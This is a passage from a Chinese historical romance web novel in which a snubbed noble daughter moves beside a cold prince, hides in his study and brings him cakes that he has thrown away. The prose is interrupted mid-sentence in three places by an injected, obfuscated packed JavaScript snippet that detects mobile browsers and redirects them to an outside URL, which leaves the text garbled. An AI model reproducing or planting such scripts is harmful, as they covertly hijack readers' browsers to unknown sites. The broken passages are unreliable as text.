江云娥脸上露出踌躇之意,“妾……妾就是为这事而来的……” 见她支支吾吾,聂正青愈发不耐,“吞吞吐吐的!有话直说便是!” 江云娥的目光却落在聂相宜身上,迟疑稍许,“妾还是让悟阳大师亲自为侯爷说罢……” 少顷,一个清癯干瘦的方士从外头进来。他面颊凹陷,一把灰白的胡子尤为显眼。 只见他不卑不亢地朝聂正青施以一礼,“见过侯爷。” 外人面前,聂正青倒是敛了方才怒容,正色问他,“府中闹蛇如何解?” 那悟阳道人微微掐指,“阴煞侵宅,实因风水紊乱,五行相克。蛇属五行阴水,宅内生患,盖因火土突然失衡,兼之春日木气始发,反克水象。” 他语气略作停顿,“敢问侯爷,府中是否有寅虎的生人,乍至府中。” “并无。”聂正青本是回答得斩钉截铁,而后像是想起了什么,语气突然一凝。 狐疑的目光就这样落在聂相宜身上。 10. 第 10 章 到了这个地步,聂相宜若还不知道她们想干些什么,那便是傻了。 兜了这么大个圈子,原是冲着她来的。 寅虎、乍至府中,这道人就差指着她的鼻子说了。 她不由得嗤笑一声,今日还去什么瓦肆勾阑,府上这出大戏够她看的了。 可笑的是她本是这府上嫡长女,眼下竟成了他们口中的生人。 脸颊后知后觉地泛起火辣的疼痛,她冷眼看着屋内诸人。 聂正青不觉皱了皱眉,神色掺杂着不耐与犹豫,“你只说何解。” 悟阳道人捻着灰败的胡须,“这府中百年风水,早已形成定势。有生人前来,寅虎火土太冲,搅乱风水。只需这寅虎之人搬离宅中,过了春日即可。” 图穷匕见。她回京不过几月,便有人嫌她碍眼,想方设法地赶她走了。 而聂正青面色稍显迟疑。大女儿这才方才从鄯州回来,平白又叫她迁居别院,总是容易落人口实,平白叫人觉得他苛待长女一般。 “可还有其他解法?倘若不搬……则将如何?” 道人无可奈何地摇了摇头,“八字相冲,邪祟作乱。蛇患只是其一。倘若如此下去,只怕府上永无宁日。” 他煞有介事地掐了掐指头,“更甚之,官星受制,禄运不昌,恐有株连之祸。” 一听闻于他官运有损,还有株连之祸,聂正青的神色立刻凝重起来。 “罢了。我知晓了。” 待得悟阳道人离去,聂正青这才看向聂相宜,他神色似乎带着些不忍,连语气也放缓了不少,一副百般无奈的模样, “方才是我气极了。只是你业已听到,事涉聂家基业,你不如先迁居别院,待得过了春日再回来罢。” 聂相宜自顾冷笑,嘴角扯着面颊麻木的疼,“父亲在这些神神鬼鬼、女儿姻亲上费心,倒不如自己上进些,也不至于成天守着一个虚爵过日子。” “你!”聂正青被她这话激得脸色青红交加,险些又动起手来。 还是江云娥拉住了他,适时递上一盏热茶,“侯爷消消气!相宜就是这样的性子。” 聂相宜懒得与他争辩,不屑轻嗤一声,转身离去。 “姑娘!这绝对是江氏故意的!若是您真从侯府搬了出去,旁人不知道怎么议论呢!没得还以为您成了聂家弃女!” 含絮惊闻这个消息,不由得急切起来。一边拿熟鸡蛋为她消去脸上红肿,一边道:“江氏也忒阴了!成心耽误您议亲。” “区区聂家女,不当也罢。” 从前将她丢去鄯州,如今让她迁居别院,不过都是一样的。 “你去收拾东西吧。咱们明日就搬。” “啊?”含絮瞪大了眼睛,“咱们这样就搬去别院,岂非太便宜了她们?” “哪能呢?”聂相宜冷哼一声,“你去给我找些人来。” 她岂是个吃哑巴亏的性子?受了这番委屈,总不能让她们轻易好过了去。 翌日,晴方院的箱笼衣物都收拾得差不多了,聂相宜带着一群人浩浩荡荡地往芙蓉院的方向去了。 江云娥忽见了她来,不由得一怔。转眼间她脸上便堆满了温柔笑意,“相宜怎么来了?” “我来收拾东西。” 江云娥没听明白她话中之意,只是那笑容甚是善解人意,“大师说了,不过是去别院小住片刻,夏日里便可以回来了,你可千万别多心。” 聂相宜懒得跟她废话,摆手招呼身后的人,“动手。” 只见一群大汉齐刷刷往院里涌起,看见花瓶玉器等值钱物件就往外面搬,连屏风镜架也不放过。 “哎!”江云娥脸色骤变,那笑容瞬间变难以维系,忙派人去拦,一边问聂相宜,“相宜你这是做什么?” “收拾东西啊!”聂相宜回答得理直气壮。 她眼神轻蔑地看着江云娥,“我母亲的院子,你住得可还舒心?鸠占鹊巢,你真把这些当成你自己的了?” 一句鸠占鹊巢让江云娥瞬间变了脸色,“你!” 她脸上明艳的笑容张扬又恶劣,“怎么?戳到你痛处了?” “姑娘,屋内那拔步床不太好搬呢。”含絮正指挥众人搬东西,屋内那精致繁复的拔步床让她犯了难。 “那就拆了带走!”聂相宜毫不犹豫地说道,“一想到你在我母亲的陪嫁床上睡了十几年,我就觉得恶心。这拔步床我即使拆了拿去当烧火棍,也不留给你。” “聂相宜!”江云娥终究是忍不住,用从未有过的尖利声音高声斥她,“这么多年,我何曾薄待过你!你何苦这样为难于我!” 这话几乎要让聂相宜笑出声来。 “江云娥,骗骗别人可以,别把自己也骗了。” 一番折腾,她连匾额和楹联都拆了下来,几乎将芙蓉院拆成了空架子。 天色渐渐暗下,趁着聂正青还未下值回来,数驾马车带着堆成小山的箱笼,碌碌驶出永宜侯府。 “姑娘何苦将所有东西都带上,总是麻烦。” “我既搬出去,就没想着要回来。”聂相宜哼了一声,“来日纵使她们求我回来,我亦绝不会搭理!” 含絮了然,便顺着她的话头说道:“不过听说东边这处宅院,原也是在夫人名下。姑娘如今搬过去也好呢,无人又清净,谁还敢来说姑娘的不是?” “是吗?”聂相宜眼睛倏尔一亮,“那岂非正好?” 说着她忍不住撩开帷裳,脸上露出些满满期待之意来。 只是刚一探出头去,眉眼转瞬便笑弯了起来,欢快唤到,“含絮!” 她转过头来,眸色晶亮,“你瞧这条路,像不像去三殿下府上那条!” 夜色沉沉,谢知下值方才回到府邸,就见对面宅子围了不少奴仆,正进进出出地往里搬着东西。 “殿下,这……” 这宅邸空置多年,乍然有人入住,不由得让人生疑。兼之谢知年纪轻轻就掌管神策司,多少双眼睛盯着,不得不防。 不消谢知提醒,入夜时分,凌竹便已然悄然潜入了对面的宅邸打探一二。 只是还未等得凌竹回来,他的府上便先迎来了一个不速之客。 “殿下?殿下?” 少女嗓音柔软,带着轻声的气音,像是怕被人发现似的。 谢知顺着声音朝窗外望去,月光溶溶,隐约可见院墙上的纤细轮廓。月光溶溶,夜风轻轻,鹅黄衣角翩跹拂过,在皎白月色下那样生动活泼。 就像一只任性的小猫,狡黠地朝谢知眨了眨眼。 谢知见她不由皱眉,“你为何会在这里?” 她倒是大胆,已值深夜,一个闺阁女子,竟也敢往旁人府中乱闯,倒像是……私会一般。 难道无人教过她避嫌吗? 还是她这般夜闯他人府邸,早已是轻车熟路? 谢知脑中突然便有莫名的念头一闪而过,她是否也这样,翻过王家院墙? 聂相宜顺着院墙轻快跳了下来,与谢知隔窗相望,眉眼弯弯,“我来找殿下呀。” 谢知声音冷硬,“有何事不能明日再说?” “我等不及嘛。”聂相宜眨了眨眼,“我有东西要赠与殿下呢。” 只是还未等她将东西拿出来,谢知便冷冷回绝,“不必了。你且回去吧。” “殿下看看再说嘛。”她似乎毫不在意谢知的拒绝,只自顾自从怀中掏出那孤本来,隔着雕花木窗递给谢知。 那孤本金贵,她怕放在袖中弄皱了,还是特意裹了锦布,揣在怀中带来的。 “我见殿下喜欢看书,这孤本是我特意为殿下寻来的。” 熟悉的栀子清香仿佛就在鼻下,谢知轻皱眉头,冷眼看着她从怀中取出书来,并未伸手接过。 他想起凌竹的禀报,原来那日她在书肆,买了这种书来,竟是为了送他? 是谁教她这般放肆行径?当他与那王五郎一样,是什么轻狂浪子么? 当真是半点自矜也无。 然而聂相宜目光就这样巴巴将他望着,一双水润眼眸充满了期待,仿佛等待夸奖的小狗。她将书往谢知面前递了递, “殿下?” 谢知抿着唇,声音已然带着寒气,“将你的禁书收回去。” “禁、禁书?”聂相宜语气一顿,顿时瞪大了眼睛,一脸不可置信,“这也算禁书?” 她慌慌张张将那《九星文说》的孤本从锦布中掀了出来,“可是伙计给我说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041652|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这是难得的孤本啊!” 谢知顿时一怔,怎得不是凌竹口中的《俏郎夜奔》? 他几乎气笑了一瞬。 好个凌竹,差事是越当越好了。 聂相宜见他不语,一心只以为被书肆伙计诓骗,忿忿跺脚,“那伙计竟敢诓骗于我!看我明日不把他的店给砸了去!还有那王五郎,竟也不提醒我!必定是存心看我笑话。” 听得王五郎,谢知唇边忽而一凝,“王五郎也有这孤本?” “自然没有!”聂相宜否定得斩钉截铁。而后又适时补上一句,“他的是另外一本。” 明明神情依旧,聂相宜却觉得他周身无端便冷了下来。 谢知不再看她,“你回去吧。” “我……” 还未等聂相宜再开口,突如其来的匆匆脚步便将她惊扰。 是有人朝这边来了! 她心下不由一慌,四下却都是院墙,竟无处可躲。情急之下,她提着裙子,从窗户里翻了进去。 “什么人!”是凌竹的声音。 聂相宜矮身躲在谢知脚边的书桌下。 “你躲什么?”谢知拧着眉头,看着她小心翼翼地拢着裙摆,几乎要贴近自己腿。 “有人来了呀!”聂相宜用轻微的气声回他,“万一他们传你闲话呢。” 谢知莫名想笑。她一个闺阁女子,不担心起自己的名声,反倒担心起他来了。 更何况他乃皇子,又有谁敢轻易置喙? 然而聂相宜仰脸望着他的眼眸清澈而真挚,丝毫不掺假意。 谢知神色微敛。 聂相宜自顾低声嘟囔,“殿下清风霁月,自然不似我这般,虱子多了不怕痒。” 她低低憨笑一声,抬起头朝谢知眨了眨眼,一双猫似的眼睛活泼又俏皮,“更何况,我倒也不在意这些。” 这话让谢知想起,她的确是有些“声名远扬”的。自她回京之后,关于她如何刁蛮任性、无礼不孝的传言从未停过,以至于他亦有所耳闻。 如今见她,更觉她像一只不受管束的野猫,并未被困于礼教之内。 聂相宜听得外头脚步声已然停止,想是人已走远,正欲起身。 一只手突然落在了她的肩上。 她正有疑惑,便倏地听见凌竹的声音陡然接近。 “殿下?” 谢知瞥了一眼脚边的她,这般姿态着实不雅。只是方才的举动,不过是下意识所为。 聂相宜这般矮身躲在他书桌下,又值深夜,若叫人看见,岂非引人遐思,越描越黑?她可以不在意众口铄金,他却不能放任自流。 即使凌竹是得他信任的下属,亦不能让她因此承受莫名的目光。 谢知想,自己并非有心为她,仅因此是君子所为。 一身夜行服的凌竹警惕地左右探望,“殿下,院中可有异动,惊扰殿下?” 谢知眸色一黯,“并无。” 他皱着眉头垂眸望去,桌下光线昏暗,少女的脸庞天真而纯粹,却以一个极其暧昧的姿势躲在他的腿边。 烛火勾勒出她颊边圆润的软肉,如一颗饱满的蜜桃,水润可爱。 隔着单薄的衣料,他几乎能察觉到她鬓边柔软的发丝,拂过自己的腿间。 或许是匆忙躲避费了一番功夫,又或许是有人在此她心下紧张。 只见她鬓发微斜,呼吸带着急促的轻喘,额间渗着晶莹的细汗。 似乎仅一低眸,便能看见她单薄的鹅黄春衫下,那因起伏的胸脯如一片白玉凝脂。 谢知猛地移开了眼。 只是那隔得极近的温热呼吸,却尽数洒在他皮肤之上。 那恼人的栀子清香,仿佛又这般似有若无地缠了上来。 谢知眉头深拧,桌上的书页一页未翻,却被他无端捏皱一角。 他只得再次垂眸瞪了聂相宜一眼,示意她离自己远一些。 然而聂相宜只是眨着一双明亮的眼,无辜望他。 桌下逼仄,竟是避无可避。 躲在书桌下的聂相宜同样不太好受。久蹲于狭小之内,她只觉脚都发麻,一时间蹲不住,堪堪扶住谢知的腿。 掌下的肌肉焉地紧绷起来。 11. 第 11 章 春衫轻薄,柔软的掌心与皮肤几乎毫无阻隔,少女的指尖为了扶稳用了些力气,好似小猫挠人一般,带着令人发恼的痒意。 谢知紧紧皱着眉头,只觉连那片被她握住的皮肤都快要被灼伤。 他讨厌这般不受控制的感觉。 于是他垂眸看她,冰冷的目光中带着警告之意,仿佛无声斥责,“松开!” 聂相宜方才不过是下意识寻了东西扶住,被他目光一凶,这才发现自己竟扶在了他的腿上。 她顿时红了脸。那张白皙精致的面颊转瞬热烫起来,如同施了粉黛般,连眼尾也染上红晕,愈添昳丽之色。 她的手仿佛被烫到般慌乱地拿开,却有些无所适从,只能呆呆地揉搓着衣角。 目之所及,只有谢知的竹色衣衫,她几乎无法控制地想起方才掌心的触感,紧绷的肌肉藏在看似清瘦斯文的身形之下,是她从未抚过的陌生触感。 她的眼神游移起来,连目光都不知何安放。 谢知只是冷着脸掸了掸衣袍,仿佛极是厌恶她的触碰。 “殿下?” 凌竹觉得今日殿下神色似乎有些异样,神色冷峻得厉害,却又不像是生气的模样。且总有些心不在焉的样子。 只是作为属下不可直视主上,他只垂首恭敬禀报,“殿下,对面那户人家果然有问题。” 嗯?对面那户人家?那不就是我吗? 聂相宜本有些羞恼的忸怩,听闻这话却让她不由得一怔。 “属下方才探入院中,便有暗卫出现,与属下交手。”凌竹语气微顿,“寻常官宅民邸,怎么会私养暗卫?” 暗卫?阳秋? 聂相宜心下疑惑,凌竹怎么大半夜跑她宅院里去了?还跟阳秋动了手? 谢知神色微敛,“可有看清宅内主人的身份?” 宅内主人在这儿呢!聂相宜眨着眼睛,伸手扯了扯他的衣角。 脚边像是有有只捣乱的猫,谢知不动声色地拍开她的手。 “属下无能。”凌竹拱手请罪,“那暗卫身手不凡,与属下不相上下。” 谢知凝眸不语。 凌竹的身手乃是数一数二的,能与他不相上下,只怕身份没那么简单。 聂相宜闻言却是得意地轻晃脑袋。那是当然!阳秋是外祖专门挑给她的暗卫,身手自是不用说的! 凌竹神色略微迟疑,“会不会是太子那边的人……” 而谢知未置可否,“先派人盯着。” 凌竹总觉得今天的殿下神色有些不同寻常,却又说不上来。 他躬身离去,却在转身时,视角的落差让他的眼角忽然瞥见,殿下脚边,好似有一抹鹅黄的裙角。 那是什么! 凌竹猛地瞪大了眼睛,自小便被训练的波澜不惊被瞬间击了个粉碎。 一定是他眼花了,凌竹心想。 “等等。”当他还处在震惊中无法自拔时,谢知冰冷的声音又突然叫住了他。 谢知的眸光凝在书桌上那本《九星文说》上,不知在想些什么。 “你自己去领罚。” 凌竹闻言焉地一噎,“是。” 殿下很少罚他,除非是他差事出了差池。是因为今日他没能顺利潜入对面府邸?还是…… 殿下发现他看见了?敲打于他? 凌竹默默闭紧了嘴。 “殿下?”脚边轻轻的声音传来,聂相宜眨着眼睛望他,仰着小脸的模样更显得她一双大眼睛格外明亮有神。 “我可以起来了吗?脚都蹲麻了。” 谢知神情无奈,只是微微颔首,像是默认。 聂相宜一边揉着腿一边慢吞吞起身。她望着窗下早已消失的人影,好奇地问道:“殿下,你为什么要罚凌竹大人?” 谢知眸色微动,只冷声答她,“你无须知道。” 连打探此等微末消息都有谬误,日后还如何当差? “好吧……”他冷冰冰的态度让聂相宜瘪了瘪嘴,又问,“是不是因为凌竹大人没打过阳秋呀?那也不能怪他的。” 说着她低声嘟哝,像是一声极轻的疑惑,“殿下为什么让凌竹大人去我别院探查呀?” “你的别院?”谢知冷寂目光倏地一凝,“对面是你的宅邸?” “嗯!”聂相宜粲然一笑,冲着他重重点了点头,“我可是特意为着殿下搬来的呢!” 反正都她搬出来了,不如说些好听的讨个巧,让殿下对她印象更好些。 她可聪明着呢! “阳秋不识得凌竹大人身份,这才与他动起手来的。当真不怪他。”聂相宜又解释道,“我回去会好好说阳秋的!” 谢知冷眼睨了她一眼,“你倒是好心。” 还想着替人解释。 “你三番两次接近于我,究竟有何目的?”他微敛容色,眉目已然带着冷峻之意。 他不得不怀疑她的别有用心。 谢知自年少时便手握神策司大权,早已冷眼见惯各色美人计谋。 一个云英待嫁的世家贵女,独居别院已是不妥,竟还这般不顾半点自身名声,口口声声是为他而来。 他眉宇压低,目光已然带上常年行走于神策司的审视意味。 他的神色并不凶狠,轻飘飘地落在人身上,却让聂相宜无端打了个冷战。她缩了缩下巴,声音也弱了几分,“我……我想让殿下记得我啊……” 说着她有些委屈地瘪了瘪嘴,“否则殿下又像上次那般,将我忘在脑后了……” 谢知闻言更是不耐皱眉,她竟还将他错认成了旁人。 若是今日在她面前的就是当初与她上元节相遇之人,她是否也会像今日一样,翻那人的院墙,躲在那人的脚边? “你……”他语气算不得太好,正欲开口再次澄清。 只是抬眸看她之时,这才惊觉二人的距离似乎有些太近了。烛火掩映,那张柔软的面颊忽明忽暗,桃粉的肤色带着让人不忍重斥的委屈。 谢知语气忽地一滞。 “你的脸怎么了?”口中的话就这样变了样。 他瞥见了她的侧脸有略微的红肿。 “殿下看见了?”聂相宜闻言顿时瞪大了眼,她一边慌慌张张用手捂着脸,一边自言自语地嘟哝,“不应该啊我明明用冰块消肿了!还敷了粉呢!” 她可是好好打扮了一番,才前来寻谢知的。肿着脸的样子多丑啊,她才不想让人看见呢。 其实那轻微的红肿并不显眼,若不靠近细看很难察觉。只因她面颊饱满,皮肤柔软细嫩恍若一块上好的羊脂白玉,吹弹可破。这才将那红痕衬得明显。 那分明是掌痕。 谢知几乎可以断定,她在永宜侯府的日子,是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041653|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好过的。 难道这就是她接近自己的理由? 见谢知目光仍凝于自己面颊之上,聂相宜只觉羞恼,情急之下,她下意识伸手将掌心覆在了他的眼前。 “殿下不许看了!” 她的声音犹自带着上扬的尾音,如同不经逗弄的猫炸了毛。 谢知眼前的光线陡然黯淡了一瞬,玉白指尖挡在他的眼前,丝丝缕缕的烛光从她指缝渗入,如同那股独属于她的栀子清香,早已悄无声息地将他包裹。 他皱了皱眉,有些厌烦这种不受控制的感觉。 他明明可以躲开的。 轻轻颤抖的羽睫扫在聂相宜柔软的掌心,带来轻微的痒意。聂相宜这才反应过来自己下意识做了什么,又慌张地撤开了手。 “殿……殿下,是我僭越了。” 只是又担忧肿着脸的丑样子坏了自己在殿下心中的形象,于是只能草草行了个礼,“我先告退了。” 失去阻挡的光线瞬间涌入谢知漆黑的眼底,谢知的目光落在她匆忙离去的背影之上,鹅黄翩跹,轻巧翻过一道又一道的院墙。 他竟忘了提醒她走正门。 片刻的默然之后,他吩咐门外侍从,“叫凌竹过来。” 凌竹还未曾领罚,又被自家殿下叫了去。 夜深露重,谢知还未曾歇息,他皱眉看着桌上那孤本,皱眉吩咐道:“你去查查永宜侯府。” “聂家?”凌竹怔了一瞬。 永宜侯府如今不过空有虚爵,永宜侯聂正青不过也只在太常寺挂了闲置,向来是不犯事的,怎会突然查上他们? “对面宅邸里,搬来的是聂相宜。”谢知语气平静地说道。 凌竹震惊得差点脱口而出,“殿下如何得知?” 不愧是自家殿下啊,就是明察秋毫。他夜探府邸,还与对面暗卫动起手来,也未曾查明其身份。而殿下转眼便已悉知。 他暗自决定提高自己的当差水平。 他转瞬便将话咽了回去,转念间便已明白谢知的用意,“殿下是怀疑聂家别有用心?” 谢知沉吟片刻,“也许不止聂家。” “安西大将军?”凌竹几乎瞬间便想到了此处。 一个落魄聂家如何翻得起风浪,若真是别有目的,那也一定与安西大将军有关才是。 “殿下是怀疑,安西大将军是太子的人?这才有意安插聂大姑娘在您身边?探听消息?” 这样想想,殿下先前诸番留意容忍聂相宜的无礼举动,似乎也说得通了。 但说不通的是,安西大将军,真的会用聂相宜来做美人计吗?一个当众买禁书,名声也不怎么好的姑娘。 凌竹疑惑。 他想起那日在书肆打听她的行踪,那伙计欲言又止地摇了摇头,煞有介事地说道:“来买那种书的!喏!《俏郎夜奔》!被人瞧见又不好意思了!啧啧,也不知是谁家的姑娘!” 这样的美人计,未免太过拙劣。 还是说,这也本就是她计谋的一环。大智若愚,扮猪吃老虎。 凌竹倒吸了一口凉气,这个聂姑娘,怕是不简单啊。 他心中倒是千回百转,谢知只是漠然相对,“还未曾定论。” 他脑中突兀地冒出个念头来。 其实他更想知道,她为何会搬至这里,她颊上的伤又从何而来。 12. 第 12 章 为着几日前抓捕的晋王余党,谢知这些日子大多呆在神策司中处理公务,下值极晚。 这日已是傍晚,谢知垂眸正翻阅孽党口供。一室安静,只有宣纸摩挲的细微声响。 凌竹进屋默然换上烛火,神色踌躇了片刻,“殿下……” 谢知头也不抬,只问道:“何事?” “是聂姑娘……她又来了。她正在神策司外,带着些东西,想求见殿下。” “她又来做什么?”谢知闻言不由得皱眉,语滞半晌后平静说道:“不见。你让她回去吧。” 凌竹并不意外自家殿下的命令。神策司重地,朝中多少双眼睛盯着此处,太子那头更是忌惮提防,岂容许旁人无事擅闯。 更何况,这人还是一个身份存疑的女子。 只是这聂家姑娘实在执拗,上次便在神策司外等了殿下好几个时辰,也不嫌累得慌。 不知这次是否也会如此。 凌竹垂首看了自家殿下一眼,恭敬转身出门去了。 窗外的夕阳如碎金般自窗户洒入,谢知正欲提笔批注,看着笔下落在雪白宣纸上的一个个稀碎的光斑,脑中无端想起那日傍晚,在神策司墙头瞥见的那个鲜活身影。 那日的夕阳也是这般洒在她鹅黄的衣裙之上,如同一个明亮的烙印,是这死寂黑沉的神策司从未拥有过的生命力。 他的目光无意又落在那高高院墙之上。 只是其上空空如也。 今日下值,谢知比往常早了一个时辰。 连日忙碌,凌竹心想或许是殿下心下疲倦,因此今日下值早些,于是忙遣了马车在神策司门口等候。 天色漆黑,只有点点星子相伴。谢知站定在马车之前,目光扫过周围,似乎在寻找些什么。 只是街头巷尾,阒无一人。 “殿下?”凌竹躬身为他撩开帷裳。 谢知收回目光,沉寂夜色中看不出他的表情。他没再说什么,只是准备俯身上车。 “殿下!”一声少女的轻唤打破周遭静谧。谢知循声望去,一抹轻粉身影从街角探出,而后轻快朝他跑来。 凌竹见了她不由得一愣,惊疑道:“聂姑娘怎么还没走!” 他方才分明已经劝过她了! 聂相宜忙不迭奔向谢知,定定站在她的面前,轻喘着气。还未等她说话,就听得谢知问她,“为何在街角站着?” “我在等殿下呀!”聂相宜朝他弯了弯眼睛,“凌竹大人说我在神策司门口等候,让人瞧见会让殿下落人口实。我便去街角等候了,谁也看不见呢!” 她说这话时轻耸了耸鼻尖,似乎半点没觉得凌竹这话冒犯于她。那双望着谢知的眼睛明亮好似夜空星辰,满脸都写着“我很聪明吧”的得意小表情。 谢知的余光瞥过凌竹,又看向她,抿着唇说道:“既如此,你就该回去。” “可我准备的点心还未曾亲手交给殿下呢。”说着她从含絮手中接过一方红木食盒来,“听闻殿下近日忙碌,常常下值已是深夜,我特意做了些玉屑糕给殿下。” 她甚少下厨,只因喜欢这味点心,做起来倒是十分拿手。 当年在鄯州,虽得外祖精细娇养,然而边关之地不比京城,却是没有这样精致的点心。后来只能学着自己做,如此数年下来,也算像模像样。 谢知眼神略过她打开的食盒,细腻洁白的糕点被捏成各式形状,精致又用心。 他并未搭茬,只是微眯了眯眼,神情敏锐,“你是如何得知我下值时间?” “我都看着呢!”聂相宜轻晃着脑袋,没觉得这话有什么不对劲,“每日殿下马车回府,都是亥时末了。” 她都觉得实在辛苦。 而一旁的凌竹心下骇然,这姑娘竟将监视殿下说得这般明目张胆?看来她居于对面的目的,一定是有意探听消息。 谢知神色笼罩在夜色的阴翳之下,她故意接近的手段实在堪称拙劣。 下意识的拒绝还未说出口,聂相宜便已然将食盒塞到了他的手中,眨着眼睛,“殿下不如试试吧!这玉屑糕是我的拿手点心呢。” 她的眼神总是这般,带着令人不忍拒绝的力量。谢知看着手中的玉屑糕,心想即使他不接下,她也会如同之前一般,撒娇痴缠。 他默然将食盒递给凌竹收下,转身上了马车。 不曾想聂相宜跟在他身后,站在马车边巴巴地望着他,声音如同那糕点一般软糯,“殿下,我可以与你一同回去吗?” 得寸进尺,谢知心想,她总是如此。 然而他并未拒绝。 聂相宜轻快地上了马车,见凌竹方才将那玉屑糕放在车内小几上,她一脸期待地望着谢知,“殿下公务辛苦,不如先用点这玉屑糕垫垫?” 糕点甜软的香气与栀子清香混杂在一起,充斥在马车幽闭的空间内,竟让人分不清哪种香气独属于她,只觉这气味香甜可口。 谢知皱眉,对这不受控制的香气纠缠自觉厌烦。他的声音更冷了些,“不必了,我不饿。” “好吧……”聂相宜闻言失落地瘪了瘪嘴。 她想说她做得玉屑糕真的很好吃,但凡吃过之人大都赞不绝口。只是又不能强行塞到谢知嘴里让他尝尝。 之后马车之上一路无言,谢知的神色总是一如既往的冷淡,气氛颇有些凝滞。 等到了府邸门前,聂相宜朝谢知施以一礼,语气轻快,“多谢殿下送我回府。若是玉屑糕合乎殿下胃口,我明儿再给殿下送来!” 不等谢知拒绝,她转身便回了府去。 夜色中的谢知看着聂相宜离去的翩跹背影,不自觉敛眉,亦转身回府。 方才行至书房,凌竹这才躬身禀告,“殿下,关于永宜侯府,属下打探了些眉目。” 谢知颔首示意他接着说下去。 “聂大姑娘此次回京,原也是安西大将军与永宜侯两个人一同拿的主意,目的似乎是为了……议亲。” 说着他也不知为何,竟抬眸觑了一眼自家殿下的神色。 谢知面上并无任何变化,只是下颌似乎绷紧了些。 难怪她一见了王五郎便夸他俊俏,又与他同行书肆,原是为了这个。 她父亲与王家大人同在太常寺为官,实属同僚,倒也相配。 凌竹似乎听见自家殿下低声冷哼了一声,又像是幻听。 他不敢多想,只躬身禀道:“几日前聂府找了个老道,只说聂姑娘春日里八字带煞,让她迁了出来。说来也奇,眼下离端午还早,聂府前些日子便闹了蛇。这才请了老道。” 说着,他语气微微一顿,迟疑道,“也不知是否是他们故意为之……” 借此由头,让聂相宜特意迁居至这里。眼看聂姑娘对殿下又这般殷勤热络,只怕是存了些心思的。只是不知道这背后,有没有安西大将军的手笔。 谢知目光沉沉,假借鬼神之言,当真是熟悉又拙劣的手段。 他问道:“对面的宅邸呢?原不是说那宅邸主人去世多年,久无人居吗?” “属下细查过了。对面宅邸的主人,是永宜侯的原配夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041654|178801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,聂姑娘的母亲钟氏。” 凌竹神色渐渐变得肃然,“更重要的是,钟氏与故皇后关系极好,乃是手帕之交。钟氏与故皇后在世时,相邀做邻,于是买了同在一处的两院宅邸。” 谢知陡然明白过来,“你的意思是,这处宅院原是故皇后旧居?” 凌竹点了点头,“贵妃许是尚不知情,这才为您挑了这处宅邸而居。” 谢知眸色晦暗,面色如玉冷清。 若母妃为他挑选此处作为宅邸是偶然,那聂相宜迁居此处,也是偶然吗? 她母亲钟氏与故皇后交好,当今太子又是故皇后的嫡子。难道聂相宜,当真是太子的人? 眼看他居于此处,便让聂相宜迁居对面,蓄意接近。 思及此,他的面色愈发沉冷。 凌竹正欲告退,却听得谢知叫住了他,“等等。” 他的目光凝在那盘香甜软糯的玉屑糕上,声音冷冽如冰,“把这个拿出去处理了。” “是。” 这厢聂相宜刚回府上,正欲歇下,脑中猛地想起来,竟有重要的事还未曾嘱咐殿下。 那玉屑糕要撒上蜂蜜,才更甜软些! 方才在马车中安静呆了一路,殿下冷清神情总让她觉得紧张,连眼神都无处安放,竟忘了这一茬! 她可不想自己的拿手糕点,只能得到殿下“不过如此”的评价。犹豫片刻之后,她又匆匆往对面宅邸而去。 熟门熟路地翻过宅邸一道道院墙,刚至他书房之前,聂相宜就见凌竹从里面出来。借着月光与灯火,依稀还能看见他手中拿着一个十分熟悉的食盒。 就是她用来装玉屑糕的那个。 聂相宜皱了皱眉,心下生疑,那食盒为什么会在凌竹大人手中? 见凌竹已然走远,鬼使神差地,聂相宜跃身,悄然远远跟在他的身后。 凌竹行至宅邸甬道一颗树前,这才打开了食盒。“嘎吱”的声响在寂寂黑夜中尤为显眼,聂相宜见他从食盒中拿出了那叠熟悉的玉屑糕。 而后面无表情地倒在了树根之上。 聂相宜心头猛地一颤,几乎瞬间瞪大了眼睛。 洁白香软的玉屑糕就那样被毫无惋惜地仍进泥里,凌竹甚至用脚拨拉过周围泥土,掩盖那洁白痕迹。 碾碎的玉屑糕如同白玉碎了一地。 聂相宜只觉一颗心也被那样扔进了泥里,一股巨大的失落几乎淹没得她要窒息。 那是她做了很久的玉屑糕。 每一块糕点的形状都是她亲手捏成。 她怕谢知不喜欢,还做了好几种口味。 为什么要这样丢掉呢?为什么要这样对待她的一番心意呢? 聂相宜不明白。 她失魂落魄地往回走,瘪着嘴几乎快要哭出来。 她心中委屈得要命。 她只能一边翻过甬道的院墙,一边徒劳地安慰自己,“许是殿下不喜欢吃甜食罢了。” 只是即使这样,她还是觉得难过。 